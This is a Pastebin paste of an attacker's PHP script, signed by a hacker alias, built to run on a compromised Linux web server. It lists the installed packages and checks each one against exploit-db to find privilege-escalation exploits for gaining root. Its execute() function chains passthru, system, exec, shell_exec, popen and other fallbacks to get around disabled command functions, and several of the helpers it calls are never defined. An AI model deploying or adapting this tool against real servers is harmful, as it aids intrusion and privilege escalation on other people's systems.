sirnon

exploit Root ~ JxH

Jul 30th, 2013
213
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <html>
  2. <head>
  3. <meta content="text/html; charset=ISO-8859-1"
  4. http-equiv="content-type">
  5. <title>exploit Root ~ JxH</title>
  6. </head>
  7. <body>
  8. <div style="text-align: center;">JaBr<span style="color: red;">O</span>t
  9. HaCkEr<br>
  10. </div>
  11. </body>
  12. </html>
  13.  
  14. <ol>
  15. <strong>
  16. <?
  17. #c0d3r : Al7rby
  18. #Rights : JaBrOt HaCkEr ~ [email protected]
  19.  
  20.  
  21.  
  22. @set_time_limit(0);
  23. @error_reporting(E_ALL | E_NOTICE);
  24.  
  25.  
  26. echo "<pre>";
  27.  
  28. @unlink("jxh.txt");
  29. execute("yum list installed |awk {' print $1 '} |awk -F'.' {' print $1 '} > jxh.txt");
  30. $apps = @file('jxh.txt');
  31. (!$apps) ? die("Error::jxh.txt Not Exist , Means Can't execute with PHP ."):"";
  32.  
  33. echo "<p># There is : [".count($apps)."] Application</p>";
  34.  
  35.  
  36. foreach($apps as $app){
  37.  
  38. $app = str_replace(array("\n","\r"),"",$app);
  39.  
  40.  
  41. echo (exploit_db($app)) ? "[+] Found ( <b>$app</b> ) : <a href=http://www.exploit-db.com/search/?action=search&filter_description=$app>here</a>\n":"[-] Not Found ( $app )\n";
  42.  
  43. }
  44.  
  45. function exploit_db($wht){
  46.  
  47. $result = @file_get_contents("http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=$wht&filter_exploit_text=&filter_author=&filter_platform=16&filter_type=0&filter_lang_id=0&filter_port=&filter_osvdb=&filter_cve=");
  48.  
  49. flush();flush();
  50.  
  51. return (eregi("No results",$result)) ? false:true;
  52.  
  53. }
  54.  
  55. function execute($command)
  56. {
  57. global $os;
  58. if(function_exists('passthru')){$exec = passthru($command);}
  59. elseif(function_exists('system') && !$exec){$exec= system($command); }
  60. elseif(function_exists('exec') && !$exec){exec($command,$output);$exec=join("\n",$output);}
  61. elseif(function_exists('shell_exec') && !$exec){$exec=shell_exec($command);}
  62. elseif(function_exists('popen') && !$exec){$fp = popen($command,"r");
  63. {while(!feof($fp)){$result.=fread($fp,1024);}pclose($fp);}$exec = convert_cyr_string($result,"d","w");}
  64. elseif(function_exists('win_shell_execute') && !$exec){$exec = winshell($command);}
  65. elseif(function_exists('win32_create_service') && !$exec){$exec=srvshell($command);}
  66. elseif(extension_loaded('ffi') && !$exec){$exec=ffishell($command);}
  67. elseif(extension_loaded('perl') && !$exec){$exec=perlshell($command);}
  68. elseif(!$exec) {$exec = slashBypass($command);}
  69. elseif(!$exec && extension_loaded('python'))
  70. {$exec = python_eval("import os
  71. pwd = os.getcwd()
  72. print pwd
  73. os.system('".$command."')");}
  74. elseif($exec){return $exec;}
  75. }
  76.  
  77.  
  78. ?>
  79. </strong>
  80. </ol>
  81. <html>
  82. <head>
  83. <title></title>
  84. </head>
  85. <body>
  86. <div style="text-align: center;">© <span style="font-weight: bold;">J<span
  87. style="color: red;">x</span>H</span> 2010<br>
  88. </div>
  89. <div style="text-align: center;"></div>
  90. </body>
  91. </html>
Add Comment
Please, Sign In to add comment